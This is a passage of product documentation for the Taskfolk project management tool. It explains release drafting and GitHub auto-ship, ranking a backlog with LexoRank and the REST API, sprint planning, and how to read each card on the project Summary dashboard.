"Drafting...", and when it's done you'll see "Draft ready. Review it before saving." The draft pre-fills the Description field. It does **not** save on its own. You read it, edit it, and save when you're happy. That's the right shape for AI writing: it does the tedious first pass over the issue list, you keep the judgment. Be honest with yourself about the gating, because the button is quietly conditional: - It only appears for a **saved** release. On the New release modal, before the release exists, there's nothing to summarize, so no button. Save first, then edit. - It only appears when **AI is enabled** for the workspace. - It's gated on the ai.chat permission, so viewers and guests who can't spend AI credits won't get it. - It can fail gracefully with messages like "Out of AI credits", "AI is turned off for this workspace", or "Attach issues to this release first." That last one is common: a release with no issues has nothing to summarize, so attach your issues before you draft. If the Draft with AI button is missing, it's one of those reasons, not a bug. Saved release, AI on, issues attached, right permission. Check those four. **GitHub auto-ship.** If a repo is linked to your project and its webhook is verified, pushing a matching Git tag can flip a release from planned or in_progress to **Released** automatically, stamping the ship time and writing an audit-log entry (release.github_shipped). "Matching" means the tag equals the release's version or name, with a leading `v` and letter case ignored, so this is all it takes from a terminal: ```bash git tag v1.2.0 git push origin v1.2.0 ``` It's idempotent and best-effort, so a duplicate webhook won't double-fire. ![The project Integrations tab where you link a GitHub repo and verify its webhook, the plumbing behind release auto-ship](/images/blog/how-to-connect-github-integrations-tab.webp) Read that carefully, though. This is not a click-to-ship button in the UI. There is no "Ship it" button you press. Auto-ship fires from the GitHub side, from your tag, through a verified webhook. It's a nice bit of automation for teams that cut releases from Git tags, but it's plumbing, not a control on the page. If you don't have a linked repo with a verified webhook, releases move to Released the ordinary way: you set the status yourself, inline or in the modal, and Taskfolk stamps the ship time then. ## Permissions, deletion, and the limits worth knowing A few honest limits so nothing surprises you. **Who can do what.** | Action | Requires | Who has it | |---|---|---| | Create, edit, delete, reorder releases and milestones | project.edit_settings | Owners and admins | | Assign an issue to a release or milestone | issue.edit_own or issue.edit_any | Members too | | View the tables and progress bars | read access | Everyone, including viewers | Members and viewers see these pages **read-only**: they get the list and the progress bars, but no New, Edit, Delete, or reorder controls. So don't set up a workflow that assumes "anyone can create a release," because on most teams they can't. The common shape still works, though: an admin sets up the release, and members sort their issues into it. Creating the container is admin work. Filling it is member work. **Deletion.** Deleting a release or milestone is a soft-delete, recoverable in the backend within a 30-day window. When you delete one, any attached issues are unassigned automatically (their release id or milestone id is cleared), and the confirm dialog tells you how many issues that affects. The dialog says "This cannot be undone." Take that at face value as a user. While the data is technically recoverable on the backend, the product presents deletion as permanent, and every attached issue loses its grouping. If you've got thirty issues in a release, deleting it strips all thirty back to "No release." **Two smaller things.** There are no keyboard shortcuts wired for these pages, so it's all clicks. And the demo seed creates no releases or milestones, so if you're exploring the demo workspace you'll hit the empty state ("No releases yet" / "No milestones yet") until you create your own. That's not a broken screen. That's the starting line. Open project WEB, hit New release, and draw a line around your next version. The stakeholder question answers itself once the issues are grouped. --- # How to prioritize your backlog URL: https://taskfolk.ai/docs/how-to-prioritize-your-backlog Published: 2026-07-15 Updated: 2026-07-28 Author: The Taskfolk team Tags: backlog, sprints, how-to, agile Prioritize a backlog in Taskfolk: drag to rank, why rank differs from priority, inline-edit rows, move issues into sprints, and work a long list with keyset paging. You know the moment. You open a project's backlog to figure out what the team should build next, and 200 rows stare back at you in no particular order. Everything looks vaguely important. Nothing tells you where the top is. So the standup turns into a debate, the loudest ticket wins, and the thing that actually mattered stays buried at row 34. This guide is about how to prioritize a backlog in Taskfolk and, harder than that, keep it ranked so the top row is always the honest answer to "what do we build next." Not the ticket someone tagged critical three weeks ago and forgot. Not the one with the most comments. The one that genuinely matters most right now. We'll work in the demo WEB project the whole way through, the one with columns Backlog, To Do, In Progress, In Review, and Done, and real-sounding tickets like "Timeline + Summary tab." By the end you'll be able to drag rows into order and understand why that order sticks, edit a ticket's fields without opening it, pull work into a sprint, and stay sane on a 900-row list. Let's start with what the list actually is, because the mental model does most of the work. ## What a ranked backlog actually is The backlog view is one project's open work, stacked top to bottom in the order you decided. That's the whole idea. It shows open issues only: the backlog, todo, in_progress, and in_review status categories. Done and cancelled issues never appear here, because a backlog is about what's left, not what's finished. The rows are ranked by hand. Row 01 sits at the top, row 02 below it, on down the list. Each row carries: - the position ordinal (01, 02, 03), zero-padded so a 40-row list lines up cleanly instead of jittering between one and two digits - the issue key (like `WEB-12`) and a type badge (epic, story, task, bug) - the title - up to two label chips, with a "+N" when there are more Here is the model that makes everything else click. Position is a decision. Row 01 is what the team does next, stated out loud, in a shared place. If "Timeline + Summary tab" is sitting at the top of WEB, you are telling everyone this is the next thing anyone should pull. That is a stronger, more accountable statement than a priority tag, and it is the reason the backlog is worth keeping in order instead of treating it as a junk drawer. One more thing to hold onto. This ordering is per project. WEB has its own rank. Another project has its own. There is no global cross-project queue, and that is deliberate, because "what's next" is a question you answer inside one team's body of work, not across the whole company at once. ![The WEB backlog view showing ranked rows with 01/02 ordinals, drag handles and up/down arrows, issue keys with type badges and titles, and the "{shown} of {total} ranked" counter top-right. This is the anchor view for prioritizing a backlog.](/images/blog/how-to-prioritize-your-backlog-ranked-list.webp) ## Rank vs priority: the distinction that trips everyone up Read this part slowly, because almost everyone gets it wrong the first time and then loses an afternoon to the confusion. Rank and priority are two different fields. They do not affect each other. Rank is the position in the list. It is stored as a LexoRank string (more on that below), and it is the actual queue your team pulls from. Priority is a separate label: critical, highest, high, medium, low, lowest. You set it on an issue to say how urgent or important the work is. That's all it does. It's a signal for a human reading the ticket. How you decide the order itself is a separate problem; RICE, WSJF, and MoSCoW are the frameworks most teams reach for. | | Rank | Priority | |---|---|---| | What it is | The row's position in the list | A label: critical, highest, high, medium, low, lowest | | What changes it | Dragging a row, or the up and down arrows | The Set priority popover on the row | | The question it answers | "What are we actually doing next?" | "How bad is this if we ignore it?" | | Effect on the other | None | None | Setting an issue to critical does not move it up the backlog. It will not jump to row 01. It will not budge one slot. Tag "Fix broken checkout" as critical expecting it to float to the top, and you'll come back an hour later baffled about why it's still parked at row 34. It's parked because you never moved it. The tag changed; the line didn't. Why keep them separate? Because they answer different questions, and pretending they are the same question is how backlogs rot. A medium-priority ticket can absolutely be next up if it unblocks three other things. A critical ticket might sit below it because you can't even start until a dependency lands. Real prioritization is a judgment call that weighs priority against dependencies, effort, and timing, and then writes that call down as a position in the list. So use both, on purpose. Set priority so anyone opening a ticket understands the stakes. Then rank the list so the order reflects your real plan. If you want a critical ticket to be next, drag it to the top yourself. The tag is the label on the box. The rank is where the box sits in line. ## How to prioritize a backlog by dragging rows Dragging is the main move, and it's the fastest way to get a messy backlog into shape. Every row has a move handle on the left, the little grip icon. Grab it, drag the row up or down, drop it between two other rows. Drop "Timeline + Summary tab" between rows 03 and 04 and it becomes the new row 04; everything below it shifts down by one. The change is optimistic, meaning the list reorders in the browser instantly, before the server confirms, so it feels like the rows move under your hand rather than after a round trip. ```mermaid flowchart LR A[You drop the row] --> B[List reorders instantly] B --> C[Server mints one new rank] C -->|accepted| D[Order sticks] C -->|rejected| E[Row snaps back with a toast] ``` Under the hood, the drop persists through `reorderBacklogIssue`, which recomputes the rank for that one row and no other. The browser sends the moved issue plus the ids of its two new neighbors, either of which can be null when the row lands at the very top or bottom: ```json { "workspaceSlug": "taskfolk", "projectSlug": "web", "issueId": "", "beforeId": "", "afterId": "" } ``` The server calls `rankBetween(above, below)` to mint a new LexoRank string that sorts cleanly between those two neighbors. Every other row keeps its existing rank untouched. There is no full re-sequence, no renumbering of 200 rows on the server every time you nudge one. That is the whole point of LexoRank: single-row moves stay cheap no matter how long the list gets. The rank itself is a base-62 string, a kind of lexicographic coordinate. A few real outputs show the shape: ```typescript rankBetween("", "") // "U" first row in an empty list rankBetween("U", "V") // "UU" squeezes between two tight neighbors rankBetween("AU", "AV") // "AUU" grows one character only where the gap is tight rankBetween("", "U") // "F" a new top row, sorts before everything ``` This is also why the ordinal (01, 02) is not something you can type. It is not a stored number sitting on the issue. It is computed on the fly from where the row lands in the sorted order. You never see or edit the rank string directly. You move rows; the string sorts itself out. What does good look like after a dragging pass? The top of the list should read like a plan you'd defend. Hand rows 01 through 08 to a teammate, walk away, and they should be able to work straight down and be doing the right things in the right order. If the top of your list is noise, you haven't prioritized yet. You've sorted by accident. ## Reordering without a mouse Dragging wins for big rearrangements. For a precise one-slot move, the arrows are better. Every row has an up chevron and a down chevron. Click up and the row swaps places with the one above it. Click down and it drops one slot. The buttons are labeled "Move WEB-12 up" and "Move WEB-12 down," which is exactly what a screen reader announces, so this path is properly accessible and not just a mouse shortcut in disguise. The up arrow is disabled on the first row and the down arrow on the last, because there's nowhere further to go. Reach for the arrows when a ticket is one or two slots off. Nudging "Timeline + Summary tab" up two positions to sit just under the current top item is a two-click job with the arrows and a fiddly, overshoot-prone drag with the mouse. Use the right tool for the distance. Like dragging, arrow moves are optimistic. The row shifts right away. If the server rejects the change, the move reverts and a toast tells you it didn't stick. So if you ever see a row snap back, that's the system being honest with you, not a glitch you imagined. While we're on the keyboard: press `c` anywhere in the app to open the new-issue dialog. It's the global create shortcut, so you can capture a ticket the second it occurs to you without hunting for a button. Issues created this way start in the backlog status, so they land in this list ready to be ranked instead of hiding somewhere you have to go find them. ## Editing priority, status, and assignee inline A planning pass isn't only about order. As you work down the list deciding what's next, you'll also want to set priorities, flip statuses, and hand things to people. You can do all of it from the row itself, without opening a single issue. Each row exposes three inline popovers: - **Set priority** lets you pick critical, highest, high, medium, low, or lowest right there. Remember what we covered: this changes the field, not the position. - **Set status** uses your project's custom board statuses when you've defined them, each shown with its colored dot and name, so "In Review" reads the same here as it does on the board. If a project hasn't customized its columns, this falls back to the built-in status categories. - **Set assignee** opens a list of workspace members with their avatars, plus an Unassigned option. If a member never set a display name, their email shows instead, so you're never squinting at a blank row wondering who owns it. This matters because real prioritization is messy in a good way. You decide "Timeline + Summary tab" is next, bump it to medium, move it to To Do, and drop it on someone's plate, all inside one thought. Forcing you to open the full issue for each of those would break your flow four times per ticket. Inline editing keeps you in the list, in the rhythm of triage, where the thinking is actually happening. Two honest reminders. First, none of these three edits reorder the list. Change priority, status, or assignee and the row stays exactly where it is. Only dragging and the arrows move things. Second, this is permission-gated. Owners, admins, and members can reorder and inline-edit. Viewers can look but not touch, so if the controls seem to be missing, check the role before you file a bug. ## Moving issues into a sprint If your project runs sprints, the backlog is also where you plan them. When a project has planned or active sprints, they render as their own sections above the "Backlog" heading, each one a drop zone. The unsorted pool sits at the bottom under a heading marked "Backlog (no sprint)." To pull work into a sprint you have two options. Drag a row up from the backlog into a sprint section and drop it. Or use the per-row sprint chip, the "+ Sprint" / "Move to sprint" control, which opens a picker so you can assign the sprint without dragging a row across the whole length of the list. ![The Sprints page for the WEB project listing its sprints with their states and dates. Planned and active sprints from this page are the same ones that appear as drop-zone sections above the backlog.](/images/blog/how-to-run-a-sprint-sprints-page.webp) As you drag toward a sprint section you'll see prompts like "Release to add to this sprint" and, dragging back down, "Release to move back to the backlog." That's the system telling you what the drop will do before you let go. Now the detail that catches people. Dragging an issue across sections is assignment only. It changes which sprint the issue belongs to and carries no ranking. There is no manual rank order inside a sprint section. Only the Backlog section supports drag-to-rank. So when you move "Timeline + Summary tab" into a sprint, you've assigned it there (via `assignIssuesToSprint`), but you have not ranked it against the other sprint issues, because sprint sections don't rank. Two separate operations wearing similar clothing: reordering happens in the backlog, assignment happens between sections. One more note so a missing control doesn't confuse you. The per-row sprint chip only appears when the project actually has planning sprints. No planned or active sprint means no chip. If you don't see it, you don't have a sprint to move things into yet. ## Starting and completing a sprint from the backlog You can run the sprint lifecycle from here too, if you have the role for it. Each sprint section header carries a **Start sprint** button and, once the sprint is running, a **Complete** button. These are visible only to people with the `project.edit_settings` permission, which in practice means owners and admins. Ordinary members won't see them at all, and that's on purpose: starting and closing a sprint is a planning decision, not something any contributor should trigger by accident while clicking around. Starting is a single click, and you get a "Sprint started." toast to confirm it took. Completing is a little more involved, because there's almost always unfinished work. Click Complete and a dialog opens titled 'Complete "Sprint 5"?' with your sprint's real name. It asks where the incomplete issues should go: "Move incomplete issues to" another sprint, or "Backlog (remove from sprint)" to send them back to the pool. ```mermaid flowchart TD A[Click Complete] --> B[Dialog asks where incomplete issues go] B --> C[Another sprint] B --> D[Back to the backlog pool] C --> E[Optionally notify assignees and watchers] D --> E E --> F[Sprint completed toast] ``` There's a "Notify assignees and watchers of moved issues" checkbox too, so the affected people actually find out their tickets moved instead of discovering it days later. Confirm, and you get a "Sprint completed." toast. This is the honest close of a sprint. Nothing silently disappears. Whatever didn't get done is explicitly rehomed, and the people who care can be told. If you're a member and these buttons aren't there, that's expected, not broken. ## Filtering, saved views, and working a long list A 30-row backlog is easy to eyeball. A 900-row backlog is where prioritization actually gets hard, and where the list tools earn their keep. Start with filters. BoardFilters narrows the list by type, priority, status, labels, and assignee. Want to rank only the bugs? Filter to type = bug. Planning one person's week? Filter to their assignee. Filtering never changes anyone's rank; it just shows you a slice so you can think about one dimension at a time instead of the whole blur at once. ![The filter controls narrowing an issue list by type, priority, status, labels, and assignee. The same filters work on the backlog, and none of them change a row's rank.](/images/blog/how-to-filter-and-sort-issues-overview.webp) When a filter combination is one you'll reuse, save it as a **Saved View**. Views can be shared with the team or kept personal, so "Unranked high-priority bugs" or "My open stories" is one click away next planning session instead of a rebuild from scratch every time. Then there's the length problem itself. Taskfolk doesn't load 900 rows at once, because that would be slow and you don't need it. It loads the ranked list in pages of 100, sorted by rank ascending, with a **Load more ({n})** button at the bottom telling you how many more are waiting. Click it and the next 100 rows append, de-duplicated and kept in rank order, so the list never scrambles or shows a row twice. The header keeps a running count in the "{shown} of {total} ranked" format, for example "100 of 240 ranked," so you always know where you are in the pile. A couple of things to know about that counter. The total is capped for performance. Past 1000 open issues it reads as "1000+" rather than an exact figure, so treat it as "a lot" rather than a precise census. And the paging is keyset: it walks forward through the rank order with a cursor. There's no page-number jumping, no "go to page 7." You load more from where you already are. Here's the practical upside, and it's the real reason this design is good for prioritizing. You almost never need the whole list loaded. The work that matters is at the top. Load the first 100, rank the top 15 until they're genuinely in the order you'd defend, and you've done the job. The tail can wait. You're planning what's next, not curating row 738. ## Reordering from a script or an agent The drag handle has an API twin. Every issue in the [REST API](/docs/how-to-use-the-rest-api) carries its `rank` string, and the transition endpoint accepts a new one, so a script or an agent can reposition a ticket the same way the UI does: read the two neighbors' ranks from `GET /v1/workspaces/taskfolk/projects/WEB/issues`, pick a base-62 string that sorts between them, and post it. The key needs the `issues:write` scope, and a malformed rank is simply ignored rather than saved. To keep `WEB-12` in the backlog but move it between two rows whose ranks are `AU` and `AV`: ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-12/transition" \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{ "status": "backlog", "rank": "AUU" }' ``` ```javascript await fetch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-12/transition", { method: "POST", headers: { Authorization: "Bearer tfk_live_a1b2...", "Content-Type": "application/json", }, body: JSON.stringify({ status: "backlog", rank: "AUU" }), } ); ``` ```python import requests requests.post( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-12/transition", headers={"Authorization": "Bearer tfk_live_a1b2..."}, json={"status": "backlog", "rank": "AUU"}, ) ``` The `status` field is required on this endpoint because it exists for board moves; passing the issue's current status with a new `rank` makes it a pure reorder. Sprint assignment has an API twin too: `PATCH` the issue with a `sprint_id` (or null to detach), which is exactly what the sprint chip does. ## Limits and mistakes to avoid Let me be blunt about the edges, because knowing them upfront saves you a confused afternoon later. **Rank is not priority.** The big one. Tagging a ticket critical does not move it. If you want it next, drag it there. Priority is a label; rank is the line. **The ordinal isn't typeable.** You can't set a row to "position 5" by typing 5. The 01/02/03 is display-only, computed from the sort. Move the row; the number follows. **Drag-to-rank only works in the Backlog section.** Inside a sprint section, dragging reassigns the sprint and carries no order. If you're trying to rank issues within a sprint by dragging and it won't stick, that's why. Rank lives in the backlog. **Sprint sections only show when sprints exist.** Planned or active sprints appear as sections; completed ones don't. No planning sprints means no sprint sections and no per-row sprint chip. **Start and Complete need edit-settings.** Members don't see those controls. If you expected them and they're gone, it's a permissions thing, not a missing feature. **The count caps at 1000+.** Past a thousand open issues the total is approximate. Don't quote it as an exact figure in a status update. **Only open statuses appear.** Done and cancelled issues are excluded by design. If a ticket seems to have vanished from the backlog, check whether it got marked done. **Viewers can't reorder or edit.** Read-only means read-only here. **Optimistic edits can revert.** If a move or inline edit snaps back with a toast, the server rejected it. It genuinely didn't save; it's not a display hiccup. Now the habits that keep a backlog useful instead of merely tidy. Keep the top 10 to 15 rows genuinely ranked and trustworthy, because that is the part anyone actually reads. Don't burn energy perfectly ordering the tail; row 200 versus row 210 is a distinction without a difference and nobody will ever pull from there before you re-rank anyway. And revisit the ranking before each planning session, not once a quarter, because a backlog that isn't re-ranked is just an old opinion in a new week. Five minutes of dragging before a sprint kickoff beats an hour of arguing over whose ticket deserves the critical tag. A well-ranked backlog also feeds everything downstream. Pull the top of it onto a [Kanban board](/docs/how-to-use-a-kanban-board) to watch the work move, or use it to [run sprints without the ceremony](/blog/run-sprints-without-the-ceremony) so planning stays light. If ranking by hand starts to feel like a chore, see what [AI sprint planning actually gets right](/blog/ai-sprint-planning-what-works) and how [AI issue triage can assign and prioritize](/blog/ai-issue-triage-that-assigns-and-prioritizes) the incoming flow before it ever piles up. Open your busiest project's Backlog tab, load the first page, and spend five minutes dragging the top 15 rows into the order you'd actually defend out loud. That's a prioritized backlog. --- # How to read the project summary URL: https://taskfolk.ai/docs/how-to-read-the-project-summary Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: reports, sprints, how-to, agile Read the Taskfolk project Summary tab like a pro: what every card shows, how each number is computed, what good looks like, and where the dashboard stops. You open project WEB on a Monday. Standup is in ten minutes, or your lead pings you with the question every project attracts sooner or later: "how's it going?" You could open the board and start counting cards. You could scroll the backlog and do the math in your head. Or you could open the one tab that already did the counting for you. That tab is Summary. This is a guide to reading it well. If what you want is a project dashboard overview at a glance, the Summary tab is the screen built for exactly that: one page, computed live, that tells you how much work is open, how much is done, who is carrying it, and what is about to blow a deadline. No clicking through twenty tickets. No mental arithmetic. I will walk the whole page top to bottom, card by card. For each one I will tell you what it shows, how the number is actually computed (a metric you do not understand is a metric you will misread), and what "good" looks like when you glance at it. I will also be honest about where this page stops, because Summary and Reports are two different tools and reaching for the wrong one wastes your afternoon. Throughout, I use a demo project called WEB with the columns Backlog, To Do, In Progress, In Review, and Done. Real tickets, real numbers. ![The top of the WEB project Summary tab showing the page title, the 'Across N issues' scope subtitle, and the Open / Done / Done % KPI trio, proving Summary is the project's default landing page and the fastest at-a-glance read.](/images/blog/how-to-read-the-project-summary-overview.webp) ## What the project summary tab actually is Open any project and you land here. The project root URL, `/w/[ws]/p/[project]`, redirects straight to `/summary`, and Summary is the first tab in the project's tab strip. That is deliberate. When you walk into a project cold, the first thing you should see is its state, not its board. So think of Summary as a project dashboard overview at a glance: a fixed, read-only snapshot of one project, assembled fresh every time you load it. Every number is computed live in SQL, scoped to this one project in this one workspace. Nothing here is cached from yesterday, and nothing here belongs to another team. When you load WEB's summary, you are looking at WEB's issues, counted right now. The queries fan out concurrently, so even a project with tens of thousands of issues loads without you waiting on it. Each card on the page answers one question. Here is the map we are about to walk: | Card | The question it answers | |---|---| | Header trio (Open / Done / Done %) | How much is done? | | Status donut | Where does the work sit? | | By type / By priority | What kind of work is queued? | | Workload | Who is carrying it? | | Velocity / Recently completed | How fast is it moving? | | Sprint burndown / Cycle time | Are we on pace, and how long does work take? | | At risk / Overdue | What is about to hurt? | | Time / Recent activity | How is the budget, and what just happened? | The important word is read-only. You come here to read state, not to change it. There are no drag handles, no inline editors, no "mark as done" buttons. Every clickable thing on the page is a link that takes you somewhere else (an issue, the board, the list view) to actually do the work. That constraint is a feature. A dashboard you can accidentally edit is a dashboard you stop trusting. One more framing point before we start reading. The whole page counts only live issues. Anything soft-deleted or archived is excluded, everywhere, on every card. So when a number looks lower than you expected, the first question is "did someone archive a chunk of this?" and not "is the page broken?" ## Reading the header trio: open vs done issue counts Top right of the page, three numbers sit together: Open, Done, and Done %. This is the fastest read on the page, and most days it is the only one you need before standup. Here is the exact math, because it matters: ```javascript // The header trio, exactly as the page computes it const open = total - done - cancelled; const donePct = total > 0 ? Math.round((done / total) * 100) : 0; ``` So on a WEB project with 80 live issues, 30 done and 5 cancelled: | Live issues | Done | Cancelled | Open reads | Done % reads | |---|---|---|---|---| | 80 | 30 | 5 | 45 | 38% | One subtlety worth knowing. Open is total minus done minus cancelled, and it does not separately subtract "failed." The failed status exists in the system, but the header folds it into the Open bucket. Most projects never touch failed, so this rarely bites, but if yours does, know that failed work counts as Open here. The two small colored dots are not decoration. The dot on Open uses the in-progress tone and the dot on Done uses the done tone, so they visually rhyme with the status donut right below. Once your eye learns the colors in one place, they carry across the whole page. Under the trio runs a one-line subtitle: "Across {n} issues in this project," where n is the count of live issues. That is your scope statement. It tells you how big the denominator is, so a Done % of 38% reads very differently across 80 issues than across 8. What good looks like: a Done % that climbs week over week, and an Open number you recognize. If Open jumped from 45 to 90 since Friday and nobody planned a scope increase, that is your first thing to chase. ## The status donut: a project health overview at a glance Below the trio is the status donut, and this is the single best "how healthy is this" glance on the page. It is a ring chart with the total issue count sitting in the middle of the ring. Beside it, a legend lists each status that has at least one issue: Backlog, To do, In progress, In review, Done, Cancelled, each with its colored dot and its count. ![The Summary dashboard cards showing the Open / Done / Done % KPI trio, the status donut with its color-keyed legend, and the By type and By priority breakdown bars side by side.](/images/blog/project-reports-and-insights-summary-overview.webp) Only statuses with a count above zero get drawn. If WEB has nothing in Cancelled, Cancelled will not appear in the legend at all. That keeps the chart honest and uncluttered. You see the shape of the work, not a row of zeros. Now, how to actually read it. The donut is about proportion, not just totals. The shapes to watch: - A fat Backlog slice next to a thin In progress slice describes a project that has been planned but not started: plenty queued, nobody moving. - Flip those proportions and you get the opposite story, everything in flight. If In progress is very fat, the team started more than it can finish. - On WEB, if In review is bulging, that is a review bottleneck. Work is done but stuck waiting on someone to look at it. Like everything else here, the donut counts only live issues, so archived and deleted work never inflates it. One honest note. The failed status exists in the underlying data model, but it is not part of the ordered set the donut legend shows. The legend walks a fixed order (Backlog, To do, In progress, In review, Done, Cancelled) and stops there. So if you rely on failed as a real column, the donut will not surface it. Keep that limit in your back pocket. ## By type and by priority: what kind of work is queued Two cards sit side by side to break the work down a different way: not by where it is, but by what it is. The By type card draws one horizontal bar per issue type that has issues: Epics, Stories, Tasks, Bugs, Subtasks. Each row shows the type's badge, its count, and a bar whose length is scaled to the largest type count. The biggest type fills the bar, and everything else reads as a fraction of it. The By priority card is the same layout for Critical, Highest, High, Medium, Low, and Lowest. Read these together and they answer "what kind of work is queued." A WEB project that is mostly Bugs with few Stories is a project in firefighting mode. You are fixing more than you are building. Fine for a week; a problem for a quarter. Flip it, and mostly Stories with a thin Bug bar is healthy forward motion. Priority does the same job from the risk side. A stack of Critical and Highest bars means too much is marked urgent for anyone to treat any of it as urgent. When everything is a priority, nothing is. If WEB shows twelve Highest-priority items, the honest read is that someone needs to sit down and re-rank, and that is a backlog exercise, not a summary one. When you are ready to fix it, the [backlog prioritization guide](/docs/how-to-prioritize-your-backlog) covers the actual moves. ## The workload card: who is carrying the project The Workload card answers "who is loaded." Its subtitle, ", open issues," is the key to reading it correctly: these are counts of open work, per person. Each row is one assignee, plus an Unassigned bucket, showing the avatar, name, and open-issue count. When issues carry estimates, the row also shows "{spent}h / {estimate}h estimated," so you see not just how many tickets someone holds but how much time they represent. Rows sort by open count descending, so the most-loaded person is always at the top. The card counts only open (non-terminal) issues. Done and cancelled work never inflates anyone's number. That is the right call. A workload chart that included finished work would make your fastest closer look like your most overloaded person, which is backwards. Two shapes to watch for: - A big Unassigned bucket is a planning smell. Work exists but nobody owns it, and unowned work does not move. On WEB, if Unassigned is the top row, that is your standup topic. - One person sitting at three times everyone else's count is a bottleneck. It usually means either a knowledge silo (only they can do this work) or a rebalancing that never happened. When there is genuinely nothing open per person, the card shows a calm empty state: "Everyone's caught up." Believe it. That is a good day. ## Velocity and recently completed: reading throughput Now we move from "what is the state" to "how fast is it moving." Two cards, side by side. The Velocity card (subtitle ", issues completed per week") is a six-column bar chart: issues that reached done, per calendar week, over the last six weeks. Weeks are aligned to Monday, the x-axis labels each bar by its week-start date (like "May 3"), and each bar carries its own count on top. Read this one carefully, because the word velocity carries baggage from other tools. Here it means one specific thing: the count of issues that reached done, per calendar week, counted by when they were resolved. Not story points. Not per sprint. A raw weekly count of things that got finished. If WEB closed 4, 6, 3, 7, 5, and 6 issues over the last six Mondays, that is a steady team with normal week-to-week wobble. A cliff, say 6, 6, 6, then 1, 1, is the signal. Something stalled three weeks ago, and now you go find out what. Right beside it, the Recently completed card (subtitle "last 6 closed") lists the six most recently resolved done issues, newest first. Each row has a done-tone dot, the type badge, the KEY-NUM and title as a deep link, and a relative timestamp (just now, then minutes, hours, days, then a date once it is old enough). So if the velocity bars tell you six issues closed this week, this card tells you which six. Click any of them, "WEB-142 Timeline + Summary tab," say, and you jump straight into that issue. If nothing is closed yet, the card reads "Nothing completed yet." No drama, just the truth for a young project. ## Sprint burndown and cycle time: the two analytical cards These two are the most analytical cards on the page, and they reward a slower read. Sprint burndown only appears when a sprint exists. When it does, you get two KPI tiles, Committed and Remaining, plus a line chart with three lines: a dashed Ideal reference line (the straight path from committed to zero), the solid actual-remaining line (what really happened), and a dashed flat projection from your last actual data point out to the sprint end date. Which sprint does the card chart? It follows a fixed fallback: ```mermaid flowchart TD A[Burndown card loads] --> B{Active sprint exists?} B -- yes --> C[Chart the active sprint] B -- no --> D{Any completed sprint?} D -- yes --> E[Chart the most recent completed sprint] D -- no --> F[Empty state: start a sprint] ``` A planned-only sprint (one you set up but never started) is skipped on purpose; its dates are in the future and a burndown of it would be fiction. And with fewer than two days of data or zero committed work, the card will not draw a line. Instead you get a low-data note: "Start a sprint to see a burndown." or "Not enough days in this sprint to chart a burndown yet." That is not a bug. A burndown needs a start and a little history before it means anything. ![The Sprints table for the WEB project, where sprints are created and started. The burndown, current sprint, and sprint velocity cards on Summary all stay empty until a sprint exists here.](/images/blog/how-to-run-a-sprint-sprints-page.webp) Reading a burndown is pattern recognition. If the solid line hugs the dashed ideal, you are on pace. If the solid line sits stubbornly above the ideal and the projection runs flat past the sprint end, you are not going to finish what you committed, and the chart tells you that days before the deadline does. The Cycle time card (subtitle "last N days," default 30) answers "how long does work actually take once we start it." You get three KPIs, Median, p75, and Sample, and a histogram bucketed into <1d, 1-3d, 3-7d, 1-2w, and 2w+. The footnote states the basis it used: "Measured from first move into In Progress to Done." when that data exists, or "Measured from issue creation to Done (lead time)." as a fallback when no In Progress transition was ever logged. Median is your typical issue. p75 is your "three out of four finish within this" number, and it is the one that catches the long tail. If WEB's median is 2 days but p75 is 11, most work is quick but a quarter of it drags, and that drag is where your process pain lives. The histogram shows the shape: a fat 2w+ bucket means some issues sit forever, worth finding out which and why. Two limits. Cycle time looks at the last 30 days by default and is capped at the 5000 most-recent resolved issues, and cancelled work is excluded from the whole calculation. When there is nothing to measure, you get "No completed work yet. Close a few issues to see cycle time." If you want to set up the sprints these cards feed on, the [run-a-sprint guide](/docs/how-to-run-a-sprint) walks it end to end. ## At risk, overdue, and the current sprint cards This is the card you scan when the question is not "how is it going" but "what is about to hurt." The At risk / Overdue card leads with two header tallies: "{n} overdue" in pink and "{n} due soon" in yellow. Below them runs a list of open issues that are either overdue or due within three days, sorted soonest deadline first. Each row deep-links to the issue and carries a colored due label: due today, due tomorrow, in Nd, or "2d overdue" for the ones that already slipped. Read the header first, the list second. The tallies are your gut check ("we have four overdue and six due soon"), and the list tells you exactly which ones so you can act. On WEB, if "WEB-98 Ship the pricing page" reads "1d overdue" at the top of the list, that is where your attention goes right now. One implementation detail that matters for trust: the list shows at most 100 rows, but the header tallies are counted separately in SQL. So even on a project with 300 overdue issues (which would be its own emergency), the header count stays accurate while the list itself caps at 100. The number you glance at is always the real number. When there is genuinely nothing to worry about, you get "Nothing overdue or due soon. Nicely on track." Two more cards live in this area, but only if your project uses sprints (an active sprint, or at least one completed one). The Current sprint card shows Committed, Done, and Complete% with a days-left or overdue badge and a progress bar; click the sprint name to open the board. The Sprint velocity card shows done-issues-per-completed-sprint bars for the last six sprints, labeled by sprint name. Here is the distinction to nail down, because it trips people up. Sprint velocity is not the weekly Velocity card from earlier. The Velocity card counts issues per calendar week. Sprint velocity counts done issues per completed sprint. Same word, different denominator. If your sprints run two weeks long, the two charts will never match, and that is correct. They measure different windows on purpose. ## The time card and the recent activity feed Two cards round out the page. The Time card appears only when the project has any estimate or spent minutes recorded. If nobody on WEB tracks time, you will never see it, and that is fine. When it does show, it gives you Estimated, Spent, and Remaining hour totals with a progress bar across them. One nice touch: Remaining turns pink when Spent has already exceeded Estimated, so a project that has blown its time budget flags itself visually instead of making you do the subtraction. ![The issue-detail Time card with its Estimate and Spent hour inputs and budget bar. These per-issue hours are what roll up into the Summary page's project-level Time card.](/images/blog/how-to-track-time-on-issues-time-card.webp) Below it, the Recent activity feed lists the eight most recent activity events across the project's issues. Each entry has the actor's avatar, a verb describing what they did (created, changed status of, set the priority on, renamed, assigned, unassigned, commented on, or deleted a comment on), a link to the issue, and a relative time. It is the project's pulse: what happened, most recent first. An "All issues →" link at the bottom jumps you to the list view when you want the full picture instead of the last eight beats. Both limits here are fixed and not adjustable: eight activity events, six recently completed. That is a deliberate constraint. This is a glance surface, not an audit log, and eight recent events is the right amount to read in three seconds. When you need the whole history, that is the list view and the individual issue timelines, not this feed. ## Where the summary tab stops: limits and the reports tab Now the honest boundary, because the fastest way to be frustrated by Summary is to expect it to be something it is not. Summary is not Reports. Reports is a separate tab, further right in 